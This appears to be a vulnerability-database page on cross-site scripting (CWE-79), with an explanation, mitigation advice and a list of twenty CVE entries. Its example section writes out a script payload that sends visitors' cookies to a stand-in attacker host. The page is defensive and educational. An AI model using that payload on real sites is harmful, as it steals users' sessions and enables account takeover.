Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-55549MEDIUMYamcs: Reflected XSS in the URL of the Authorize EndpointEPSS 1.3%CVE-2022-1187MEDIUMWP YouTube Live <= 1.7.21 - Reflected Cross-Site ScriptingEPSS 1.3%CVE-2020-26249HIGHRemote Code Execution (RCE) Exploit on Cross Site Scripting (XSS) VulnerabilityEPSS 1.3%CVE-2021-24350—Visitors <= 0.3 - Unauthenticated Stored Cross-Site Scripting (XSS)EPSS 1.3%CVE-2025-23199MEDIUMStored XSS-LibreNMS-Ports in librenmsEPSS 1.3%CVE-2022-43497MEDIUMCross-site scripting vulnerability in WordPress versions prior to 6.0.3 allows a remote unauthenticated attacker to inject an arbitrary scriEPSS 1.3%CVE-2024-2242MEDIUMContact Form 7 <= 5.9 - Reflected Cross-Site ScriptingEPSS 1.3%CVE-2026-26105HIGHMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 1.3%CVE-2023-33159HIGHMicrosoft SharePoint Server Spoofing VulnerabilityEPSS 1.3%CVE-2020-0894MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.3%CVE-2020-0893MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.3%CVE-2023-23849HIGHVersions of Coverity Connect prior to 2022.12.0 are vulnerable to an unauthenticated Cross-Site Scripting vulnerability. Any web service hosEPSS 1.3%CVE-2022-0704MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 1.3%CVE-2017-6789—A vulnerability in the Cisco Unified Intelligence Center web interface could allow an unauthenticated, remote attacker to impact the integriEPSS 1.3%CVE-2024-27313MEDIUMXSS VulnerabilityEPSS 1.3%CVE-2023-3479MEDIUMCross-site Scripting (XSS) - Reflected in hestiacp/hestiacpEPSS 1.3%CVE-2024-5961MEDIUMReflected XSS in 2ClickPortalEPSS 1.3%CVE-2023-27636MEDIUMProgress Sitefinity before 15.0.0 allows XSS by authenticated users via the content form in the SF Editor.EPSS 1.3%CVE-2020-25702—In Moodle, it was possible to include JavaScript when re-naming content bank items. Versions affected: 3.9 to 3.9.2. This is fixed in moodleEPSS 1.3%CVE-2022-1051—WPQA < 5.2 - Subscriber+ Stored Cross-Site Scripting via Profile fieldsEPSS 1.3%